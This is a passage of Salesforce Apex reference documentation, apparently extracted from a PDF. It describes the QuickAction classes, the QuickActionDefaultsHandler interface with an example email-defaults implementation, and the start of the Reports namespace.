The name of the Visualforce page associated with the custom action.
visualforcepageurl
The URL of the Visualforce page associated with the action.
width
The width in pixels of the action pane, for custom actions that call Visualforce pages, Canvas apps, or Lightning components.
canvasapplicationname
The name of the Force.com Canvas application invoked by the custom action.
Signature
public String canvasapplicationname {get; set;}
Property Value
Type: String
colors
Array of color information. Each color is associated with a theme.
Signature
public List<Schema.DescribeColorResult> colors {get; set;}
Property Value
Type: List<Schema.DescribeColorResult> on page 2026
contextsobjecttype
The object used for the action. Was getsourceSobjectType() in API version 29.0 and earlier.
Signature
public String contextsobjecttype {get; set;}
Property Value
Type: String
defaultvalues
The action’s default values.
Signature
public List<QuickAction.DescribeQuickActionDefaultValue> defaultvalues {get; set;}
1875
DescribeQuickActionResult ClassReference
Property Value
Type: List<QuickAction.DescribeQuickActionDefaultValue>
height
The height in pixels of the action pane.
Signature
public Integer height {get; set;}
Property Value
Type: Integer
iconname
The name of the icon used for the action. If a custom icon is not used, this value isn’t set.
Signature
public String iconname {get; set;}
Property Value
Type: String
icons
Array of icons. Each icon is associated with a theme.
Signature
public List<Schema.DescribeIconResult> icons {get; set;}
Property Value
Type: List<Schema.DescribeIconResult on page 2047>
If no custom icon was associated with the quick action and the quick action creates a specific object, the icons will correspond to the
icons used for the created object. For example, if the quick action creates an Account, the icon array will contain the icons used for
Account.
If a custom icon was associated with the quick action, the array will contain that custom icon.
iconurl
The URL of the icon used for the action. This icon URL corresponds to the 32x32 icon used for the current Salesforce theme, introduced
in Spring ’10, or the custom icon, if there is one.
1876
DescribeQuickActionResult ClassReference
Signature
public String iconurl {get; set;}
Property Value
Type: String
layout
The section of the layout where the action resides.
Signature
public QuickAction.DescribeLayoutSection layout {get; set;}
Property Value
Type: QuickAction.DescribeLayoutSection on page 1869
lightningcomponentbundleid
If the custom action invokes a Lightning component, the ID of the Lightning component bundle to which the component belongs.
Signature
public String lightningcomponentbundleid {get; set;}
Property Value
Type: String
lightningcomponentbundlename
If the custom action invokes a Lightning component, the name of the Lightning component bundle to which the component belongs.
Signature
public String lightningcomponentbundlename {get; set;}
Property Value
Type: String
lightningcomponentqualifiedname
The fully qualified name of the Lightning component invoked by the custom action.
Signature
public String lightningcomponentqualifiedname {get; set;}
1877
DescribeQuickActionResult ClassReference
Property Value
Type: String
miniiconurl
The icon’s URL. This icon URL corresponds to the 16x16 icon used for the current Salesforce theme, introduced in Spring ’10, or the
custom icon, if there is one.
Signature
public String miniiconurl {get; set;}
Property Value
Type: String
showquickactionlcheader
Indicates whether the Lightning component quick action header and footer are shown. If false, then both the header containing the
quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
Signature
public Boolean showquickactionlcheader {get; set;}
Property Value
Type: Boolean
showquickactionvfheader
Indicates whether the Visualforce quick action header and footer should be shown. If false, then both the header containing the
quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
Signature
public Boolean showquickactionvfheader {get; set;}
Property Value
Type: Boolean
targetparentfield
The parent object type of the action. Links the target object to the parent object. For example, the value is Account if the target object
is Contact and the parent object is Account.
Signature
public String targetparentfield {get; set;}
1878
DescribeQuickActionResult ClassReference
Property Value
Type: String
targetrecordtypeid
The record type of the target record.
Signature
public String targetrecordtypeid {get; set;}
Property Value
Type: String
targetsobjecttype
The action’s target object type.
Signature
public String targetsobjecttype {get; set;}
Property Value
Type: String
visualforcepagename
The name of the Visualforce page associated with the custom action.
Signature
public String visualforcepagename {get; set;}
Property Value
Type: String
visualforcepageurl
The URL of the Visualforce page associated with the action.
Signature
public String visualforcepageurl {get; set;}
Property Value
Type: String
1879
DescribeQuickActionResult ClassReference
width
The width in pixels of the action pane, for custom actions that call Visualforce pages, Canvas apps, or Lightning components.
Signature
public Integer width {get; set;}
Property Value
Type: Integer
DescribeQuickActionResult Methods
The following are methods for DescribeQuickActionResult. All are instance methods.
IN THIS SECTION:
getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
getCanvasApplicationName()
Returns the name of the Canvas application, if used.
getColors()
Returns an array of color information. Each color is associated with a theme.
getContextSobjectType()
Returns the object used for the action. Replaces getsourceSobjectType() in API version 30.0 and later.
getDefaultValues()
Returns the default values for a action.
getHeight()
Returns the height in pixels of the action pane.
getIconName()
Returns the actions’ icon name.
getIconUrl()
Returns the URL of the 32x32 icon used for the action.
getIcons()
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.
getLabel()
Returns the action label.
getLayout()
Returns the layout sections that comprise an action.
getLightningComponentBundleId()
If the custom action invokes a Lightning component, returns the ID of the Lightning component bundle to which the component
belongs.
1880
DescribeQuickActionResult ClassReference
getLightningComponentBundleName()
If the custom action invokes a Lightning component, returns the name of the Lightning component bundle to which the component
belongs.
getLightningComponentQualifiedName()
If the custom action invokes a Lightning component, returns the fully qualified name of the Lightning component invoked by the
custom action.
getMiniIconUrl()
Returns the 16x16 icon URL.
getName()
Returns the action name.
getShowQuickActionLcHeader()
Returns an indication of whether the Lightning component quick action header and footer are shown.
getShowQuickActionVfHeader()
Returns an indication of whether the Visualforce quick action header and footer should be shown.
getSourceSobjectType()
Returns the object type used for the action.
getTargetParentField()
Returns the parent object’s type for the action.
getTargetRecordTypeId()
Returns the record type of the targeted record.
getTargetSobjectType()
Returns the action’s target object type.
getType()
Returns a create or custom Visualforce action.
getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.
getVisualforcePageUrl()
Returns the URL of the Visualforce page associated with the action.
getWidth()
If a custom action is created, returns the width in pixels of the action pane.
getActionEnumOrId()
Returns the unique ID for the action. If the action doesn’t have an ID, its API name is used.
Signature
public String getActionEnumOrId()
Return Value
Type: String
1881
DescribeQuickActionResult ClassReference
getCanvasApplicationName()
Returns the name of the Canvas application, if used.
Syntax
public String getCanvasApplicationName()
Return Value
Type: String
getColors()
Returns an array of color information. Each color is associated with a theme.
Signature
public List<Schema.DescribeColorResult> getColors()
Return Value
Type: List <Schema.DescribeColorResult>
getContextSobjectType()
Returns the object used for the action. Replaces getsourceSobjectType() in API version 30.0 and later.
Signature
public String getContextSobjectType()
Return Value
Type: String
getDefaultValues()
Returns the default values for a action.
Signature
public List<QuickAction.DescribeQuickActionDefaultValue> getDefaultValues()
Return Value
Type: List<QuickAction.DescribeQuickActionDefaultValue>
getHeight()
Returns the height in pixels of the action pane.
1882
DescribeQuickActionResult ClassReference
Signature
public Integer getHeight()
Return Value
Type: Integer
getIconName()
Returns the actions’ icon name.
Signature
public String getIconName()
Return Value
Type: String
getIconUrl()
Returns the URL of the 32x32 icon used for the action.
Signature
public String getIconUrl()
Return Value
Type: String
getIcons()
Returns a list of Schema.DescribeIconResult objects that describe colors used in a tab.
Signature
public List<Schema.DescribeIconResult> getIcons()
Return Value
Type: List<Schema.DescribeIconResult>
getLabel()
Returns the action label.
Signature
public String getLabel()
1883
DescribeQuickActionResult ClassReference
Return Value
Type: String
getLayout()
Returns the layout sections that comprise an action.
Signature
public QuickAction.DescribeLayoutSection getLayout()
Return Value
Type: QuickAction.DescribeLayoutSection
getLightningComponentBundleId()
If the custom action invokes a Lightning component, returns the ID of the Lightning component bundle to which the component
belongs.
Signature
public String getLightningComponentBundleId()
Return Value
Type: String
getLightningComponentBundleName()
If the custom action invokes a Lightning component, returns the name of the Lightning component bundle to which the component
belongs.
Signature
public String getLightningComponentBundleName()
Return Value
Type: String
getLightningComponentQualifiedName()
If the custom action invokes a Lightning component, returns the fully qualified name of the Lightning component invoked by the custom
action.
Signature
public String getLightningComponentQualifiedName()
1884
DescribeQuickActionResult ClassReference
Return Value
Type: String
getMiniIconUrl()
Returns the 16x16 icon URL.
Signature
public String getMiniIconUrl()
Return Value
Type: String
getName()
Returns the action name.
Signature
public String getName()
Return Value
Type: String
getShowQuickActionLcHeader()
Returns an indication of whether the Lightning component quick action header and footer are shown.
Signature
public Boolean getShowQuickActionLcHeader()
Return Value
Type: Boolean
If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
getShowQuickActionVfHeader()
Returns an indication of whether the Visualforce quick action header and footer should be shown.
Signature
public Boolean getShowQuickActionVfHeader()
1885
DescribeQuickActionResult ClassReference
Return Value
Type: Boolean
If false, then both the header containing the quick action title and the footer containing the Save and Cancel buttons aren’t displayed.
getSourceSobjectType()
Returns the object type used for the action.
Signature
public String getSourceSobjectType()
Return Value
Type: String
getTargetParentField()
Returns the parent object’s type for the action.
Signature
public String getTargetParentField()
Return Value
Type: String
getTargetRecordTypeId()
Returns the record type of the targeted record.
Signature
public String getTargetRecordTypeId()
Return Value
Type: String
getTargetSobjectType()
Returns the action’s target object type.
Signature
public String getTargetSobjectType()
1886
DescribeQuickActionResult ClassReference
Return Value
Type: String
getType()
Returns a create or custom Visualforce action.
Signature
public String getType()
Return Value
Type: String
getVisualforcePageName()
If Visualforce is used, returns the name of the associated page for the action.
Signature
public String getVisualforcePageName()
Return Value
Type: String
getVisualforcePageUrl()
Returns the URL of the Visualforce page associated with the action.
Signature
public String getVisualforcePageUrl()
Return Value
Type: String
getWidth()
If a custom action is created, returns the width in pixels of the action pane.
Signature
public Integer getWidth()
Return Value
Type: Integer
1887
DescribeQuickActionResult ClassReference
QuickActionDefaults Class
Represents an abstract Apex class that provides the context for running the standard Email Action on Case Feed and the container of
the Email Message fields for the action payload. You can override the target fields before the standard Email Action is rendered.
Namespace
QuickAction
Usage
Note: You cannot extend this abstract class. You can use the getter methods when using it in the context of
QuickAction.QuickActionDefaultsHandler. Salesforce provides a class that extends this class (See
QuickAction.SendEmailQuickActionDefaults.)
IN THIS SECTION:
QuickActionDefaults Methods
QuickActionDefaults Methods
The following are methods for QuickActionDefaults.
IN THIS SECTION:
getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).
getActionType()
Returns the type of the standard Email Action on Case Feed (Email).
getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).
getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).
getActionName()
Returns the name of the standard Email Action on Case Feed (Case.Email).
Signature
public String getActionName()
Return Value
Type: String
1888
QuickActionDefaults ClassReference
getActionType()
Returns the type of the standard Email Action on Case Feed (Email).
Signature
public String getActionType()
Return Value
Type: String
getContextId()
The ID of the context related to the standard Email Action on Case Feed (Case ID).
Signature
public Id getContextId()
Return Value
Type: Id
getTargetSObject()
The target object of the standard Email Action on Case Feed (EmailMessage).
Signature
public SObject getTargetSObject()
Return Value
Type: SObject
QuickActionDefaultsHandler Interface
The QuickAction.QuickActionDefaultsHandler interface lets you specify the default values for the standard Email
Action on Case Feed. You can use this interface to specify the From address, CC address, BCC address, subject, and email body for the
Email Action in Case Feed. You can use the interface to pre-populate these fields based on the context where the action is displayed,
such as the case origin (for example, country) and subject.
Namespace
QuickAction
1889
QuickActionDefaultsHandler InterfaceReference
Usage
To specify default values for the standard Email Action on Case Feed, create a class that implements
QuickAction.QuickActionDefaultsHandler.
When you implement this interface, provide an empty parameterless constructor.
IN THIS SECTION:
QuickActionDefaultsHandler Methods
QuickActionDefaultsHandler Example Implementation
QuickActionDefaultsHandler Methods
The following are methods for QuickActionDefaultsHandler.
IN THIS SECTION:
onInitDefaults(actionDefaults)
Implement this method to provide default values for the standard Email Action in Case Feed.
onInitDefaults(actionDefaults)
Implement this method to provide default values for the standard Email Action in Case Feed.
Signature
public void onInitDefaults(QuickAction.QuickActionDefaults[] actionDefaults)
Parameters
actionDefaults
Type: QuickAction.QuickActionDefaults[]
This array contains only one item of type QuickAction.SendEmailQuickActionDefaults.
Return Value
Type: void
QuickActionDefaultsHandler Example Implementation
This is an example implementation of the QuickAction.QuickActionDefaultsHandler interface.
In this example, the onInitDefaults method checks whether the element passed in the array is for the standard Email Action on Case
Feed. Then, it performs a query to retrieve the case that corresponds to the context ID. Next, it sets the value of the BCC address of the
corresponding email message to a default value. The default value is based on the case reason. Finally, it sets the default values of the
email template properties. The onInitDefaults method determines the default values based on two criteria: first, whether a reply action
1890
QuickActionDefaultsHandler InterfaceReference
on an email message initiated the call to the method, and second, whether any previous emails attached to the case are associated with
the call.
global class EmailPublisherLoader implements QuickAction.QuickActionDefaultsHandler {
// Empty constructor
global EmailPublisherLoader() {
}
// The main interface method
global void onInitDefaults(QuickAction.QuickActionDefaults[] defaults) {
QuickAction.SendEmailQuickActionDefaults sendEmailDefaults = null;
// Check if the quick action is the standard Case Feed send email action
for (Integer j = 0; j < defaults.size(); j++) {
if (defaults.get(j) instanceof QuickAction.SendEmailQuickActionDefaults &&
defaults.get(j).getTargetSObject().getSObjectType() ==
EmailMessage.sObjectType &&
defaults.get(j).getActionName().equals('Case.Email') &&
defaults.get(j).getActionType().equals('Email')) {
sendEmailDefaults =
(QuickAction.SendEmailQuickActionDefaults)defaults.get(j);
break;
}
}
if (sendEmailDefaults != null) {
Case c = [SELECT Status, Reason FROM Case
WHERE Id=:sendEmailDefaults.getContextId()];
EmailMessage emailMessage = (EmailMessage)sendEmailDefaults.getTargetSObject();
// Set bcc address to make sure each email goes for audit
emailMessage.BccAddress = getBccAddress(c.Reason);
/*
Set Template related fields
When the In Reply To Id field is null we know the interface
is called on page load. Here we check if
there are any previous emails attached to the case and load
the 'New_Case_Created' or 'Automatic_Response' template.
When the In Reply To Id field is not null we know that
the interface is called on click of reply/reply all
of an email and we load the 'Default_reply_template' template
*/
if (sendEmailDefaults.getInReplyToId() == null) {
Integer emailCount = [SELECT count() FROM EmailMessage
WHERE ParentId=:sendEmailDefaults.getContextId()];
if (emailCount!= null && emailCount > 0) {
sendEmailDefaults.setTemplateId(
getTemplateIdHelper('Automatic_Response'));
}else {
sendEmailDefaults.setTemplateId(
getTemplateIdHelper('New_Case_Created'));
}
1891
QuickActionDefaultsHandler InterfaceReference
sendEmailDefaults.setInsertTemplateBody(false);
sendEmailDefaults.setIgnoreTemplateSubject(false);
}else {
sendEmailDefaults.setTemplateId(
getTemplateIdHelper('Default_reply_template'));
sendEmailDefaults.setInsertTemplateBody(false);
sendEmailDefaults.setIgnoreTemplateSubject(true);
}
}
}
private Id getTemplateIdHelper(String templateApiName) {
Id templateId = null;
try {
templateId = [select id, name from EmailTemplate
where developername = : templateApiName].id;
}catch (Exception e) {
system.debug('Unble to locate EmailTemplate using name: ' +
templateApiName + ' refer to Setup | Communications Templates '
+ templateApiName);
}
return templateId;
}
private String getBccAddress(String reason) {
if (reason != null && reason.equals('Technical'))
{return 'support_technical@mycompany.com'; }
else if (reason != null && reason.equals('Billing'))
{return 'support_billing@mycompany.com'; }
else {return 'support@mycompany.com'; }
}
}
QuickActionRequest Class
Use the QuickAction.QuickActionRequest class for providing action information for quick actions to be performed by
QuickAction class methods. Action information includes the action name, context record ID, and record.
Namespace
QuickAction
Usage
For Apex saved using Salesforce API version 28.0, a parent ID is associated with the QuickActionRequest instead of the context ID.
The constructor of this class takes no arguments:
QuickAction.QuickActionRequest qar = new QuickAction.QuickActionRequest();
1892
QuickActionRequest ClassReference
Example
In this sample, a new quick action is created to create a contact and assign a record to it.
QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
// Some quick action name
req.quickActionName = Schema.Account.QuickAction.AccountCreateContact;
// Define a record for the quick action to create
Contact c = new Contact();
c.lastname = 'last name';
req.record = c;
// Provide the context ID (or parent ID). In this case, it is an Account record.
req.contextid = '001xx000003DGcO';
QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
IN THIS SECTION:
QuickActionRequest Constructors
QuickActionRequest Methods
SEE ALSO:
QuickAction Class
QuickActionRequest Constructors
The following are constructors for QuickActionRequest.
IN THIS SECTION:
QuickActionRequest()
Creates a new instance of the QuickAction.QuickActionRequest class.
QuickActionRequest()
Creates a new instance of the QuickAction.QuickActionRequest class.
Signature
public QuickActionRequest()
QuickActionRequest Methods
The following are methods for QuickActionRequest. All are instance methods.
1893
QuickActionRequest ClassReference
IN THIS SECTION:
getContextId()
Returns this QuickAction’s context record ID.
getQuickActionName()
Returns this QuickAction’s name.
getRecord()
Returns the QuickAction’s associated record.
setContextId(contextId)
Sets this QuickAction’s context ID. Returned by getContextId.
setQuickActionName(name)
Sets this QuickAction’s name. Returned by getQuickActionName.
setRecord(record)
Sets a record for this QuickAction. Returned by getRecord.
getContextId()
Returns this QuickAction’s context record ID.
Signature
public Id getContextId()
Return Value
Type: ID
getQuickActionName()
Returns this QuickAction’s name.
Signature
public String getQuickActionName()
Return Value
Type: String
getRecord()
Returns the QuickAction’s associated record.
Signature
public SObject getRecord()
1894
QuickActionRequest ClassReference
Return Value
Type: sObject
setContextId(contextId)
Sets this QuickAction’s context ID. Returned by getContextId.
Signature
public Void setContextId(Id contextId)
Parameters
contextId
Type: ID
Return Value
Type: Void
Usage
For Apex saved using SalesforceAPI version 28.0, sets this QuickAction’s parent ID and is returned by getParentId.
setQuickActionName(name)
Sets this QuickAction’s name. Returned by getQuickActionName.
Signature
public Void setQuickActionName(String name)
Parameters
name
Type: String
Return Value
Type: Void
setRecord(record)
Sets a record for this QuickAction. Returned by getRecord.
Signature
public Void setRecord(SObject record)
1895
QuickActionRequest ClassReference
Parameters
record
Type: sObject
Return Value
Type: Void
QuickActionResult Class
After you initiate a quick action with the QuickAction class, use the QuickActionResult class for processing action results.
Namespace
QuickAction
SEE ALSO:
QuickAction Class
QuickActionResult Methods
The following are methods for QuickActionResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.
getIds()
The IDs of the QuickActions being processed.
getSuccessMessage()
Returns the success message associated with the quick action.
isCreated()
Returns true if the action is created; otherwise, false.
isSuccess()
Returns true if the action completes successfully; otherwise, false.
getErrors()
If an error occurs, an array of one or more database error objects, along with error codes and descriptions, is returned.
Signature
public List<Database.Error> getErrors()
1896
QuickActionResult ClassReference
Return Value
Type: List<Database.Error>
getIds()
The IDs of the QuickActions being processed.
Signature
public List<Id> getIds()
Return Value
Type: List<Id>
getSuccessMessage()
Returns the success message associated with the quick action.
Signature
public String getSuccessMessage()
Return Value
Type: String
isCreated()
Returns true if the action is created; otherwise, false.
Signature
public Boolean isCreated()
Return Value
Type: Boolean
isSuccess()
Returns true if the action completes successfully; otherwise, false.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
1897
QuickActionResult ClassReference
SendEmailQuickActionDefaults Class
Represents an Apex class that provides: the From address list; the original email’s email message ID, provided that the reply action was
invoked on the email message feed item; and methods to specify related settings on templates. You can override these fields before
the standard Email Action is rendered.
Namespace
QuickAction
Usage
Note: You cannot instantiate this class. One can use the getters/setters when using it in the context of
QuickAction.QuickActionDefaultsHandler.
IN THIS SECTION:
SendEmailQuickActionDefaults Methods
SendEmailQuickActionDefaults Methods
The following are methods for SendEmailQuickActionDefaults.
IN THIS SECTION:
getFromAddressList()
Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.
getInReplyToId()
Returns the email message ID of the email to which the reply/reply all action has been invoked.
setIgnoreTemplateSubject(useOriginalSubject)
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject
should replace the original subject (false).
setInsertTemplateBody(keepOriginalBodyContent)
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the
entire content with the template body (false).
setTemplateId(templateId)
Sets the email template ID to load into the email body.
getFromAddressList()
Returns a list of email addresses that are available in the From: address drop-down menu for the standard Email Action.
Signature
public List<String> getFromAddressList()
1898
SendEmailQuickActionDefaults ClassReference
Return Value
Type: List<String>
getInReplyToId()
Returns the email message ID of the email to which the reply/reply all action has been invoked.
Signature
public Id getInReplyToId()
Return Value
Type: Id
setIgnoreTemplateSubject(useOriginalSubject)
Specifies whether the template subject should be ignored (true), thus using the original subject, or whether the template subject should
replace the original subject (false).
Signature
public void setIgnoreTemplateSubject(Boolean useOriginalSubject)
Parameters
useOriginalSubject
Type: Boolean
Return Value
Type: void
setInsertTemplateBody(keepOriginalBodyContent)
Specifies whether the template body should be inserted above the original body content (true) or whether it should replace the entire
content with the template body (false).
Signature
public void setInsertTemplateBody(Boolean keepOriginalBodyContent)
Parameters
keepOriginalBodyContent
Type: Boolean
Return Value
Type: void
1899
SendEmailQuickActionDefaults ClassReference
setTemplateId(templateId)
Sets the email template ID to load into the email body.
Signature
public void setTemplateId(Id templateId)
Parameters
templateId
Type: Id
The template ID.
Return Value
Type: void
Reports Namespace
The Reports namespace provides classes for accessing the same data as is available in the Salesforce Reports and Dashboards REST
API.
The following are the classes in the Reports namespace.
IN THIS SECTION:
AggregateColumn Class
Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas.
Includes name, label, data type, and grouping context.
BucketField Class
Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed
values.
BucketFieldValue Class
Contains information about the report values included in a bucket field.
BucketType Enum
The types of values included in a bucket.
ColumnDataType Enum
The Reports.ColumnDataType enum describes the type of data in a column. It is returned by the getDataType method.
ColumnSortOrder Enum
The Reports.ColumnSortOrder enum describes the order that the grouping column uses to sort data.
CrossFilter Class
Contains methods and constructors used to work with information about a cross filter.
CsfGroupType Enum
The group level at which the custom summary format aggregate is displayed in a report.
1900
Reports NamespaceReference
DateGranularity Enum
The Reports.DateGranularity enum describes the date interval that is used for grouping.
DetailColumn Class
Contains methods for describing fields that contain detailed data. Detailed data fields are also listed in the report metadata.
Dimension Class
Contains information for each row or column grouping.
EvaluatedCondition Class
Contains the individual components of an evaluated condition for a report notification, such as the aggregate name and label, the
operator, and the value that the aggregate is compared to.
EvaluatedConditionOperator Enum
The Reports.EvaluatedConditionOperator enum describes the type of operator used to compare an aggregate to
a value. It is returned by the getOperator method.
FilterOperator Class
Contains information about a filter operator, such as display name and API name.
FilterValue Class
Contains information about a filter value, such as the display name and API name.
FormulaType Enum
The format of the numbers in a custom summary formula.
GroupingColumn Class
Contains methods for describing fields that are used for column grouping.
GroupingInfo Class
Contains methods for describing fields that are used for grouping.
GroupingValue Class
Contains grouping values for a row or column, including the key, label, and value.
NotificationAction Interface
Implement this interface to trigger a custom Apex class when the conditions for a report notification are met.
NotificationActionContext Class
Contains information about the report instance and condition threshold for a report notification.
ReportCsf Class
Contains methods and constructors for working with information about a custom summary formula (CSF).
ReportCurrency Class
Contains information about a currency value, including the amount and currency code.
ReportDataCell Class
Contains the data for a cell in the report, including the display label and value.
ReportDescribeResult Class
Contains report, report type, and extended metadata for a tabular, summary, or matrix report.
ReportDetailRow Class
Contains data cells for a detail row of a report.
ReportDivisionInfo Class
Contains information about the divisions that can be used to filter a report.
1901
Reports NamespaceReference
ReportExtendedMetadata Class
Contains report extended metadata for a tabular, summary, or matrix report.
ReportFact Class
Contains the fact map for the report, which represents the report’s data values.
ReportFactWithDetails Class
Contains the detailed fact map for the report, which represents the report’s data values.
ReportFactWithSummaries Class
Contains the fact map for the report, which represents the report’s data values, and includes summarized fields.
ReportFilter Class
Contains information about a report filter, including column, operator, and value.
ReportFormat Enum
Contains the possible report format types.
ReportInstance Class
Returns an instance of a report that was run asynchronously. Retrieves the results for that instance.
ReportManager Class
Runs a report synchronously or asynchronously and with or without details.
ReportMetadata Class
Contains report metadata for a tabular, summary, or matrix report.
ReportResults Class
Contains the results of running a report.
ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you
can set the scope for opportunity reports to All opportunities, My team’s opportunities, or My
opportunities.
ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for
opportunity reports to All opportunities, My team’s opportunities, or My opportunities.
ReportType Class
Contains the unique API name and display name for the report type.
ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.
ReportTypeColumnCategory Class
Information about categories of fields in a report type.
ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type,
plus filter information for those fields.
SortColumn Class
Contains information about the sort column used in the report.
StandardDateFilter Class
Contains information about standard date filter available in the report—for example, the API name, start date, and end date of the
standard date filter duration as well as the API name of the date field on which the filter is placed.
1902
Reports NamespaceReference
StandardDateFilterDuration Class
Contains information about each standard date filter—also referred to as a relative date filter. It contains the API name and display
label of the standard date filter duration as well as the start and end dates.
StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that
fall under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar
Week, Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.
StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.
StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.
StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value,
and a list of all possible picklist values.
StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a
Reports.StandardFilterType enum value.
SummaryValue Class
Contains summary data for a cell of the report.
ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.
TopRows Class
Contains methods and constructors for working with information about a row limit filter.
Reports Exceptions
The Reports namespace contains exception classes.
AggregateColumn Class
Contains methods for describing summary fields such as Record Count, Sum, Average, Max, Min, and custom summary formulas. Includes
name, label, data type, and grouping context.
Namespace
Reports
AggregateColumn Methods
The following are methods for AggregateColumn. All are instance methods.
IN THIS SECTION:
getName()
Returns the unique API name of the summary field.
1903
AggregateColumn ClassReference
getLabel()
Returns the localized display name for the summarized or custom summary formula field.
getDataType()
Returns the data type of the summarized or custom summary formula field.
getAcrossGroupingContext()
Returns the column grouping in the report where the summary field is displayed.
getDownGroupingContext()
Returns the row grouping in the report where the summary field is displayed.
getName()
Returns the unique API name of the summary field.
Syntax
public String getName()
Return Value
Type: String
getLabel()
Returns the localized display name for the summarized or custom summary formula field.
Syntax
public String getLabel()
Return Value
Type: String
getDataType()
Returns the data type of the summarized or custom summary formula field.
Syntax
public Reports.ColumnDataType getDataType()
Return Value
Type: Reports.ColumnDataType
getAcrossGroupingContext()
Returns the column grouping in the report where the summary field is displayed.
1904
AggregateColumn ClassReference
Syntax
public String getAcrossGroupingContext()
Return Value
Type: String
getDownGroupingContext()
Returns the row grouping in the report where the summary field is displayed.
Syntax
public String getDownGroupingContext()
Return Value
Type: String
BucketField Class
Contains methods and constructors to work with information about a bucket field, including bucket type, name, and bucketed values.
Namespace
Reports
IN THIS SECTION:
BucketField Constructors
BucketField Methods
BucketField Constructors
The following are constructors for BucketField.
IN THIS SECTION:
BucketField(bucketType, devloperName, label, nullTreatedAsZero, otherBucketLabel, sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.
BucketField()
Creates an instance of the Reports.BucketField class. You can then set values by using the class’s set methods.
BucketField(bucketType, devloperName, label, nullTreatedAsZero,
otherBucketLabel, sourceColumnName, values)
Creates an instance of the Reports.BucketField class using the specified parameters.
1905
BucketField ClassReference
Signature
public BucketField(Reports.BucketType bucketType, String devloperName, String label,
Boolean nullTreatedAsZero, String otherBucketLabel, String sourceColumnName,
List<Reports.BucketFieldValue> values)
Parameters
bucketType
Type: Reports.BucketType
The type of bucket.
devloperName
Type: String
API name of the bucket.
label
Type: String
User-facing name of the bucket.
nullTreatedAsZero
Type: Boolean
Specifies whether null values are converted to zero (true) or not (false).
otherBucketLabel
Type: String
Name of the fields grouped as Other (in buckets of BucketType PICKLIST).
sourceColumnName
Type: String
Name of the bucketed field.
values
Type: List<Reports.BucketType>
Types of the values included in the bucket.
BucketField()
Creates an instance of the Reports.BucketField class. You can then set values by using the class’s set methods.
Signature
public BucketField()
BucketField Methods
The following are methods for BucketField.
IN THIS SECTION:
getBucketType()
Returns the bucket type.
1906
BucketField ClassReference
getDevloperName()
Returns the bucket’s API name.
getLabel()
Returns the user-facing name of the bucket.
getNullTreatedAsZero()
Returns true if null values are converted to the number zero, otherwise returns false.
getOtherBucketLabel()
Returns the name of fields grouped as Other in buckets of type PICKLIST.
getSourceColumnName()
Returns the API name of the bucketed field.
getValues()
Returns the report values grouped by the bucket field.
setBucketType(value)
Sets the BucketType of the bucket.
setBucketType(bucketType)
Sets the BucketType of the bucket.
setDevloperName(devloperName)
Sets the API name of the bucket.
setLabel(label)
Sets the user-facing name of the bucket.
setNullTreatedAsZero(nullTreatedAsZero)
Specifies whether null values in the bucket are converted to zero (true) or not (false).
setOtherBucketLabel(otherBucketLabel)
Sets the name of the fields grouped as Other (in buckets of BucketType PICKLIST).
setSourceColumnName(sourceColumnName)
Specifies the name of the bucketed field.
setValues(values)
Specifies which type of values are included in the bucket.
toString()
Returns a string.
getBucketType()
Returns the bucket type.
Signature
public Reports.BucketType getBucketType()
Return Value
Type: Reports.BucketType
1907
BucketField ClassReference
getDevloperName()
Returns the bucket’s API name.
Signature
public String getDevloperName()
Return Value
Type: String
getLabel()
Returns the user-facing name of the bucket.
Signature
public String getLabel()
Return Value
Type: String
getNullTreatedAsZero()
Returns true if null values are converted to the number zero, otherwise returns false.
Signature
public Boolean getNullTreatedAsZero()
Return Value
Type: Boolean
getOtherBucketLabel()
Returns the name of fields grouped as Other in buckets of type PICKLIST.
Signature
public String getOtherBucketLabel()
Return Value
Type: String
getSourceColumnName()
Returns the API name of the bucketed field.
1908
BucketField ClassReference
Signature
public String getSourceColumnName()
Return Value
Type: String
getValues()
Returns the report values grouped by the bucket field.
Signature
public List<Reports.BucketFieldValue> getValues()
Return Value
Type: List on page 2352<Reports.BucketFieldValue>
setBucketType(value)
Sets the BucketType of the bucket.
Signature
public void setBucketType(String value)
Parameters
value
Type: String
See the Reports.BucketType enum for valid values.
Return Value
Type: void
setBucketType(bucketType)
Sets the BucketType of the bucket.
Signature
public void setBucketType(Reports.BucketType bucketType)
Parameters
bucketType
Type: Reports.BucketType
1909
BucketField ClassReference
Return Value
Type: void
setDevloperName(devloperName)
Sets the API name of the bucket.
Signature
public void setDevloperName(String devloperName)
Parameters
devloperName
Type: String
The API name to assign to the bucket.
Return Value
Type: void
